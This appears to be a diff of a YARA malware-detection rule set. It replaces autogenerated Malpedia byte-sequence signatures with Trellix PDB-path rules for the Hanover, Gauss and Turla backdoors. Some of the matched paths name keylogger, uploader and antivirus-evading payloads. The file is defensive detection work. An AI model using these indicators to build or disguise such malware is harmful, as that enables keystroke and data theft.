-		$sequence_6 = { 8b4500 85c0 0f8472010000 83f8ff 740b f0836d0001 }
-		$sequence_7 = { f20f58c3 f20f2cd0 01ca e9???????? }
-		$sequence_8 = { 85d2 740b 83faff 74ad f0832801 }
-		$sequence_9 = { 81fa???????? 7442 81fa???????? 744a }
+		$pdb = "\\BNaga\\backup_28_09_2010\\threads tut\\pen-backup\\BB_FUD_23\\Copy of client\\Copy of client\\appinbot_1.2_120308\\Build\\Win32\\Release\\appinclient.pdb"
+		$pdb1 = "\\BNaga\\SCode\\BOT\\MATRIX_1.2.2.0\\appinbot_1.2_120308\\Build\\Win32\\Release\\deleter.pdb"
+		$pdb2 = "\\Documents and Settings\\Admin\\Desktop\\appinbot_1.2_120308\\appinclient\\Build\\Win32\\Release\\appinclient.pdb"
+		$pdb3 = "\\Documents and Settings\\Administrator\\Desktop\\Backup\\17_8_2011\\MATRIX_1.3.4\\ CLIENT\\Build\\Win32\\Release\\appinclient.pdb"
+		$pdb4 = "\\Documents and Settings\\Administrator\\Desktop\\Backup\\17_8_2011\\MATRIX_1.3.4\\ MATRIX_1.3.4\\CLIENT\\Build\\Win32\\Release\\appinclient.pdb"
+		$pdb5 = "\\Documents and Settings\\Administrator\\Desktop\\Backup\\17_8_2011\\MATRIX_1.3.4\\MATRIX_1.3.4\\ CLIENT\\Build\\Win32\\Release\\deleter.pdb"
+		$pdb6 = "\\pen-backup\\Copy of client\\Copy of client\\appinbot_1.2_120308\\Build\\Win32\\Release\\appinclient.pdb"
+		$pdb7 = "\\pen-backup\\Copy of client\\Copy of client\\appinbot_1.2_120308\\Build\\Win32\\Release\\deleter.pdb"
+		$pdb8 = "\\temp\\elance\\PROTOCOL_1.2\\Build\\Win32\\Release\\deleter.pdb"
+		$pdb9 = "\\Users\\PRED@TOR\\Desktop\\appinbot_1.2_120308\\Build\\Win32\\Release\\deleter.pdb"
+		$pdb10 = "\\Users\\PRED@TOR\\Desktop\\MODIFIED PROJECT LAB\\admin\\Build\\Win32\\Release\\appinclient.pdb"
+		$pdb11 = "\\Desktop backup\\Copy\\appinbot_1.2_120308\\Build\\Win32\\Release\\appinclient.pdb"
+		$pdb12 = "\\Datahelp\\SCode\\BOT\\MATRIX_1.3.3\\CLIENT\\Build\\Win32\\Release\\appinclient.pdb"
 
 	condition:
-		7 of them and filesize <41843712
+		uint16(0)==0x5a4d and filesize <440KB and any of them
 }
-rule MALPEDIA_Win_Miniblindingcan_Auto : FILE
+rule TRELLIX_ARC_Apt_Hanover_Foler_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "92bc3e0e-6544-5def-8326-ac0c583fd403"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniblindingcan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miniblindingcan_auto.yar#L1-L129"
-		license_url = "N/A"
-		logic_hash = "7b8607880b97335be49c71c4d350efefeb788c1420c4ead3bd8ed006de1090db"
+		description = "Rule to detect hanover foler samples"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "064b12a1-7a6a-5a19-bc9a-c98c1dbc6631"
+		date = "2012-01-05"
+		modified = "2020-08-14"
+		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L79-L106"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "bd77d7f8af8329dfb0bcc0624d6d824d427fbaf859ab2dedd8629aa2f3b7ae0d"
+		logic_hash = "cd2bd6a4c8084c02af5aaba81529cdb67aab7c2db397e2757d383534123c5227"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Hanover"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 899424b0000000 81faff000000 7c37 b881808080 488bce f7e2 c1ea07 }
-		$sequence_1 = { 8bc6 45338c8c600a0200 c1e808 c1eb08 41c1ea10 0fb6c8 410fb6c0 }
-		$sequence_2 = { 48ffc1 49ffc8 75ed 488b542428 4c8d442420 488bce e8???????? }
-		$sequence_3 = { 660f6e7310 488d4c2438 f30fe6f6 ff15???????? 488d542430 488d4c2438 ff15???????? }
-		$sequence_4 = { 483b442420 0f8710040000 4883fd0f 0f82e7030000 488d7df1 c606f0 }
-		$sequence_5 = { 488d0579340000 488905???????? e9???????? 81fb39380000 7513 488d0553340000 488905???????? }
-		$sequence_6 = { 48ffc6 448bc1 f7e1 c1ea07 4c89442430 8bc2 }
-		$sequence_7 = { 488bc8 ff15???????? 488d1528a70000 488bce 488905???????? ff15???????? 488bc8 }
-		$sequence_8 = { 488b4590 83a0c8000000fd 83c8ff e9???????? 4183cfff f6431840 4c8d0dc50dffff }
-		$sequence_9 = { 740a b801000000 e9???????? 4533c9 }
+		$pdb = "\\Documents and Settings\\Administrator\\Desktop\\nn\\Release\\nn.pdb"
+		$pdb1 = "\\Documents and Settings\\Administrator\\Desktop\\UsbP\\Release\\UsbP.pdb"
+		$pdb2 = "\\Documents and Settings\\Administrator\\Desktop\\UsbP\\UsbP - u\\Release\\UsbP.pdb"
+		$pdb3 = "\\Monthly Task\\August 2011\\USB Prop\\Usb Propagator.09-24\\nn\\Release\\nn.pdb"
 
 	condition:
-		7 of them and filesize <453632
+		uint16(0)==0x5a4d and filesize <480KB and any of them
 }
-rule MALPEDIA_Win_Cosmicduke_Auto : FILE
+rule TRELLIX_ARC_Apt_Hanover_Linog_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a26b55b5-f92c-59e0-aeb7-97b4045e507d"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cosmicduke_auto.yar#L1-L131"
-		license_url = "N/A"
-		logic_hash = "ac4cc48798cdbb14b22137cd5139a9905a17da02e3b6c8aa744a86c9cd8ba953"
+		description = "Rule to detect hanover linog samples based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "2f4d30ad-aadc-5c90-8234-d1b5802f4781"
+		date = "2012-01-05"
+		modified = "2020-08-14"
+		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L108-L132"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "f6319fd0e1d3b9d3694c46f80208e70b389e7dcc6aaad2508b80575c604c5dba"
+		logic_hash = "3aebafc80ca2e187bdcae3750162d94ce9419988ffd451ba4762b2d299a04ed7"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Hanover"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ff542418 83c602 47 3b742428 72ce 8b4514 }
-		$sequence_1 = { ff8688050000 b001 5f c3 6a1f 5a 8bc1 }
-		$sequence_2 = { c1e104 03cb 898439142c0000 e9???????? 3975e4 7408 ff75e4 }
-		$sequence_3 = { 8d7c241c e8???????? 3ac3 0f84ac010000 8b442420 89442430 8d842438200000 }
-		$sequence_4 = { 85db 7507 32c0 e9???????? 837d1400 74f3 807d1000 }
-		$sequence_5 = { 6a01 68???????? 56 53 e8???????? b001 5f }
-		$sequence_6 = { 8bc7 8d4c2414 e8???????? 53 8d44243c 50 }
-		$sequence_7 = { e8???????? 0fb7c0 894510 6685c0 7512 33c0 40 }
-		$sequence_8 = { ff7508 8bf0 8d85ecfdffff 50 ff15???????? 8b3d???????? }
-		$sequence_9 = { e8???????? 84c0 742f 838c244c300000ff 8d74240c e8???????? 8b4508 }
+		$pdb = "\\Users\\hp\\Desktop\\download\\Release\\download.pdb"
+		$pdb1 = "\\Backup-HP-ABCD-PC\\download\\Release\\download.pdb"
 
 	condition:
-		7 of them and filesize <456704
+		uint16(0)==0x5a4d and filesize <165KB and any of them
 }
-rule MALPEDIA_Win_Apocalipto_Auto : FILE
+rule TRELLIX_ARC_Apt_Hanover_Ron_Babylon_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ee7a0f0d-5a8b-59ea-a6c9-35fc5d51d457"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.apocalipto_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "ab10b935b7f8e9ea80933c4818fa1b5859216a7e2d022a7818f118074140bb2a"
+		description = "apt_hanover_ron_babylon"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "2637bba5-67be-5e71-9ce3-570ea14a96df"
+		date = "2012-01-05"
+		modified = "2020-08-14"
+		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L134-L200"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "784cfb1bfdd7080c658fad08b1f679bbb0c94e6e468a3605ea47cdce533df815"
+		logic_hash = "212de25a555335eb4dc24052702ee30d71039f44b448079f19f12fcb775d5298"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 45
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Hanover"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 880e b967666666 89d8 f7e9 89d1 c1f902 }
-		$sequence_1 = { 8817 41 47 39f1 75f5 c6040800 5b }
-		$sequence_2 = { c7042400000000 ff15???????? 52 8985ccf3ffff e8???????? 2500f0ffff 8d9800f0ffff }
-		$sequence_3 = { 8b5584 29f2 89542404 893c24 e8???????? c745e400000000 }
-		$sequence_4 = { 8b4154 89442408 895c2404 893424 }
-		$sequence_5 = { 83ec2c 8b4d08 8b450c 85c0 0f849d000000 }
-		$sequence_6 = { e8???????? 8d95e8f7ffff 89542404 893c24 e8???????? 89c2 85c0 }
-		$sequence_7 = { 8d3c10 31c9 8a140b 8817 }
-		$sequence_8 = { 891c24 ff15???????? 83ec08 a3???????? 85c0 0f8497080000 }
-		$sequence_9 = { 0f84cb080000 c7442404???????? 891c24 ff15???????? 83ec08 a3???????? 85c0 }
+		$pdb = "\\Users\\hp\\Desktop\\download\\Release\\download.pdb"
+		$pdb1 = "\\26_10_2010\\demoMusic\\Release\\demoMusic.pdb"
+		$pdb2 = "\\26_10_2010\\New_FTP_HttpWithLatestfile2\\Release\\httpbackup.pdb"
+		$pdb3 = "\\26_10_2010\\New_FTP_HttpWithLatestfile2_FirstBlood_Released\\ New_FTP_HttpWithLatestfile2\\Release\\FirstBloodA1.pdb"
+		$pdb4 = "\\app\\Http_t\\Release\\Crveter.pdb"
+		$pdb5 = "\\BNaga\\kaam\\Appin SOFWARES\\RON 2.0.0\\Release\\Ron.pdb"
+		$pdb6 = "\\BNaga\\kaam\\kaam\\NEW SOFWARES\\firstblood\\Release\\FirstBloodA1.pdb"
+		$pdb7 = "\\BNaga\\kaam\\kaam\\New_FTP_HttpWithLatestfile2_FirstBlood_Released\\ New_FTP_HttpWithLatestfile2\\Release\\Ron.pdb"
+		$pdb8 = "\\BNaga\\kaam\\New_FTP_HttpWithLatestfile2_FirstBlood_Released\\ New_FTP_HttpWithLatestfile2\\Release\\FirstBloodA1.pdb"
+		$pdb9 = "\\BNaga\\My Office kaam\\Appin SOFWARES\\HTTP\\RON 2.0.0\\Release\\Ron.pdb"
+		$pdb10 = "\\Documents and Settings\\abc\\Desktop\\Dragonball 1.0.2(WITHOUT DOWNLOAD LINK)\\Release\\Ron.pdb"
+		$pdb11 = "\\Documents and Settings\\Administrator\\Desktop\\Feb 2012\\kmail(httpform1.1) 02.09\\Release\\kmail.pdb"
+		$pdb12 = "\\MNaga\\My Office kaam\\Appin SOFWARES\\HTTP\\RON 2.0.0\\Release\\Ron.pdb"
+		$pdb13 = "\\N\\kl\\Release\\winlsa.pdb"
+		$pdb14 = "\\N\\sr\\Release\\waulct.pdb"
+		$pdb15 = "\\Release\\wauclt.pdb"
+		$pdb16 = "\\Users\\neeru rana\\Desktop\\Klogger- 30 may\\Klogger- 30 may\\Release\\Klogger.pdb"
+		$pdb17 = "\\december task backup\\TRINITY PAYLOAD\\Dragonball 1.0.0(WITHOUT DOWNLOAD LINK)\\Release\\Ron.pdb"
+		$pdb18 = "\\Documents and Settings\\appin\\Desktop\\New_FTP_1\\New_FTP_1\\Release\\HTTP_MyService.pdb"
+		$pdb19 = "\\May Payload\\new keylogger\\Flashdance1.0.2\\kmail(http) 01.20\\Release\\kmail.pdb"
+		$pdb20 = "\\Monthly Task\\September 2011\\HangOver 1.3.2 (Startup)\\Release\\Http_t.pdb"
+		$pdb21 = "\\Sept 2012\\Keylogger\\Release\\Crveter.pdb"
+		$pdb22 = "\\Datahelp\\keytest1\\keytest\\taskmng.pdb"
+		$pdb23 = "\\Datahelp\\UPLO\\HTTP\\HTTP_T\\17_05_2011\\Release\\Http_t.pdb"
+		$pdb24 = "\\Datahelp\\UPLO\\HTTP\\HTTP_T\\20_05_2011\\Release\\Http_t.pdb"
+		$pdb25 = "\\June mac paylods\\final Klogger-1 june-Fud from eset5.0\\Klogger- 30 may\\Klogger- 30 may\\Release\\Klogger.pdb"
+		$pdb26 = "\\June mac paylods\\Keylo ger backup\\final Klogger-1 june-Fud from eset5.0\\Klogger- 30 may\\Klogger- 30 may\\Release\\kquant.pdb"
+		$pdb27 = "\\June mac paylods\\Keylogger backup\\final Klogger-1 june-Fud from eset5.0\\Klogger- 30 may\\Klogger- 30 may\\Release\\kquant.pdb"
+		$pdb28 = "\\My\\lan scanner\\Task\\HangOver 1.2.2\\Release\\Http_t.pdb"
+		$pdb29 = "\\New folder\\paylod backup\\OTHER\\Uploder\\HangOver 1.5.7 (Startup)\\HangOver 1.5.7 (Startup)\\Release\\Http_t.pdb"
+		$pdb30 = "\\keyloger\\KeyLog\\keytest1\\keytest\\taskmng.pdb"
+		$pdb31 = "\\august\\13 aug\\HangOver 1.5.7 (Startup) uploader\\Release\\Http_t.pdb"
+		$pdb32 = "\\backup E\\SourceCodeBackup\\september\\aradhana\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
+		$pdb33 = "\\payloads\\new backup feb\\SUNDAY\\kmail(http) 01.20\\kmail(http) 01.20\\Release\\kmail.pdb"
+		$pdb34 = "\\payloads\\ita nagar\\Uploader\\HangOver 1.5.7 (Startup)\\HangOver 1.5.7 (Startup)\\Release\\Http_t.pdb"
+		$pdb35 = "\\final project backup\\task information\\task of september\\Tourist 2.4.3 (Down Link On Resource) -L\\Release\\Ron.pdb"
+		$pdb36 = "\\final project backup\\complete task of ad downloader & usb grabber&uploader\\New folder\\with icon +shortcut link\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
+		$pdb37 = "\\final project backup\\uploader version backup\\fud all av hangover1.5.4\\with icon +shortcut link\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
+		$pdb38 = "\\final project backup\\uploader version backup\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
+		$pdb39 = "\\New folder\\with icon +shortcut link\\HangOver 1.5.3 (Startup)\\Release\\Http_t.pdb"
+		$pdb40 = "\\Http uploader limited account\\Http uploader limited account\\RON 2.0.0\\Release\\Ron.pdb"
+		$pdb41 = "\\Uploader\\HTTP\\HTTP Babylon 5.1.1\\HTTP Babylon 5.1.1\\Httpbackup\\Release\\HttpUploader.pdb"
+		$pdb42 = "\\Uploader\\HTTP\\ron uplo\\RON 2.0.0\\Release\\Ron.pdb"
 
 	condition:
-		7 of them and filesize <212992
+		uint16(0)==0x5a4d and filesize <330KB and any of them
 }
-rule MALPEDIA_Win_Seduploader_Auto : FILE
+rule TRELLIX_ARC_Apt_Hanover_Slidewin_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7f16d7a9-71b0-5c84-ab55-9cb76a2d5976"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.seduploader_auto.yar#L1-L113"
-		license_url = "N/A"
-		logic_hash = "59b0ef9c5ade0664bc2e5b83dd5075b45d913aac7ac67fc4cf5358fb404425b7"
+		description = "Rule to detect hanover slidewin samples"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "aefa1a2b-6a6f-5209-b1e2-90f1817442da"
+		date = "2012-01-05"
+		modified = "2020-08-14"
+		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L202-L229"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "89b80267f9c7fc291474e5751c2e42838fdab7a5cbd50a322ed8f8efc3d2ce83"
+		logic_hash = "28922d75109cf3da4807e08588e076f1496c14ea462a1c8dedb1d1a734f1fb48"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Hanover"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 50 ff7630 e8???????? 83c40c 3b4508 }
-		$sequence_1 = { c6411001 c3 55 8bec }
-		$sequence_2 = { 8b4510 83c6fe 8930 8d4601 }
-		$sequence_3 = { 8b4510 83c6fe 8930 8d4601 50 e8???????? }
-		$sequence_4 = { 5e c3 55 8bec e8???????? 8b4d0c }
-		$sequence_5 = { 8b4510 83c6fe 8930 8d4601 50 }
-		$sequence_6 = { e8???????? 8b4510 83c6fe 8930 }
-		$sequence_7 = { ff763c e8???????? 83c40c 3b4508 }
-		$sequence_8 = { ff7630 e8???????? 83c40c 3b4508 }
-		$sequence_9 = { 50 e8???????? 8b4510 83c6fe 8930 8d4601 50 }
+		$pdb = "\\Users\\God\\Desktop\\ThreadScheduler-aapnews-Catroot2\\Release\\ThreadScheduler.pdb"
+		$pdb1 = "\\Data\\User\\MFC-Projects\\KeyLoggerWin32-hostzi\\Release\\slidebar.pdb"
+		$pdb2 = "\\Data\\User\\MFC-Projects\\KeyLoggerWin32-spectram\\Release\\slidebar.pdb"
+		$pdb3 = "\\Data\\User\\MFC-Projects\\KeyLoggerWin32-zendossier\\Release\\slidebar.pdb"
 
 	condition:
-		7 of them and filesize <401408
+		uint16(0)==0x5a4d and filesize <100KB and any of them
 }
-rule MALPEDIA_Win_Pillowmint_Auto : FILE
+rule TRELLIX_ARC_Apt_Gauss_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f86758a5-97c5-5c70-a000-bfe6ecf0e5d4"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pillowmint_auto.yar#L1-L131"
-		license_url = "N/A"
-		logic_hash = "33c9d52674ffef90debdc06a4a267346eaf178ee863fdca6106f4bbf407b2817"
+		description = "Rule to detect Gauss based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "209223cc-16e5-5596-8744-21ad71b5ec2a"
+		date = "2012-08-14"
+		modified = "2020-08-14"
+		reference = "https://securelist.com/the-mystery-of-the-encrypted-gauss-payload-5/33561/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/gauss_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "7b0d0612b4ecc889a901115c2e77776ef0ea65c056b283d12e80f863062cea28"
+		logic_hash = "cb20c87ea976f395e000f2c631ffd52b09dca2af37adceafe5be72b37f75a997"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Gauss"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 4883ec48 488b05???????? 4833c4 4889442438 83fa01 0f8580000000 }
-		$sequence_1 = { 90 4c8bc0 488d1533c00000 488d4d40 e8???????? 90 4c8d051ec00000 }
-		$sequence_2 = { 488bd8 488b00 80781900 74e9 493bd8 741e 8b4320 }
-		$sequence_3 = { 4889bc2418010000 c684240801000000 41b810000000 488d155dc00200 488d8c2408010000 e8???????? }
-		$sequence_4 = { 49c1f803 498bc0 48c1e83f 4c03c0 0f84e0050000 498bd1 4c3bc3 }
-		$sequence_5 = { ff15???????? ba04010000 488d4c2430 4c8d05a2630300 395c2420 7507 4c8d05ad630300 }
-		$sequence_6 = { 0f95c0 48ffc0 480faf45df 48ffc8 48014368 48837de710 7209 }
-		$sequence_7 = { 488bd6 488d4d97 e8???????? 90 4c8d6597 48837daf10 4c0f436597 }
-		$sequence_8 = { ff15???????? 833d????????04 0f8cf6030000 48c785980000000f000000 4533f6 4c89b590000000 }
-		$sequence_9 = { 3b3d???????? 0f8392000000 488bc7 4c8bf7 49c1fe05 4c8d2d4bd30100 83e01f }
+		$pdb = "\\projects\\gauss\\bin\\release\\winshell.pdb"
 
 	condition:
-		7 of them and filesize <4667392
+		uint16(0)==0x5a4d and filesize <550KB and any of them
 }
-rule MALPEDIA_Win_Outlook_Backdoor_Auto : FILE
+rule TRELLIX_ARC_Apt_Turla_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "10b67e6b-fced-54a6-8f30-b2a0d20f49ea"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.outlook_backdoor_auto.yar#L1-L131"
-		license_url = "N/A"
-		logic_hash = "373fe304abbc2faa8be0b7ba3a307d5b5d4cb0051b5dde767cca54332adde2f8"
+		description = "Rule to detect a component of the APT Turla"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "b39ac7fc-16dd-559e-8ab0-76da5cbbc719"
+		date = "2017-05-31"
+		modified = "2020-08-14"
+		reference = "https://attack.mitre.org/groups/G0010/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_turla_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "3b8bd0a0c6069f2d27d759340721b78fd289f92e0a13965262fea4e8907af122"
+		logic_hash = "d519317c936a38f189bf0de908902ec4e3e079c8c7463c8881ceb332c0a82a26"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Turla"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ff753c 53 68e9fd0000 ffd6 8d4d00 894568 e8???????? }
-		$sequence_1 = { ff10 8b4c2408 ff74240c 8d04c8 8b4804 85c9 740b }
-		$sequence_2 = { c9 c20800 56 8bf7 e8???????? 8d771c e8???????? }
-		$sequence_3 = { c745e01f000130 895d0c ff15???????? 8b450c 8945f0 895dfc 33c9 }
-		$sequence_4 = { 6898000000 e8???????? 59 8945ec c645fc01 }
-		$sequence_5 = { f6455404 740e 836554fb 57 56 8d4dbc e8???????? }
-		$sequence_6 = { c3 57 6a2c e8???????? 8bf8 59 85ff }
-		$sequence_7 = { 5f 5e 8d4302 5b c3 53 8bd9 }
-		$sequence_8 = { 50 e8???????? 834d1004 f6451002 740f 836510fd }
-		$sequence_9 = { e8???????? 83ec38 56 57 8bf1 8b4604 33ff }
+		$pdb = "\\Workshop\\Projects\\cobra\\carbon_system\\x64\\Release\\carbon_system.pdb"
 
 	condition:
-		7 of them and filesize <2912256
+		uint16(0)==0x5a4d and filesize <650KB and any of them
 }
-rule MALPEDIA_Win_Adylkuzz_Auto : FILE
-{
-	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "092d1cf3-18b6-52f1-b243-99d6007e2b3c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.adylkuzz_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "de89fec9458f93b8b7ae503a1f8b6b5fd97e3b1bb1f58b10dd0b4e8fc16d178d"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { f5 f8 0fb7bc79b0010000 81fa00000001 0f833a000000 3b45fc 0f83c3fc0100 }
-		$sequence_1 = { 8b44242c 8b4804 894c2428 8b4a04 894c2430 8b08 8b02 }
-		$sequence_2 = { e8???????? 807e053d 8944240c 8d4340 754b 89e9 bafe00008d }
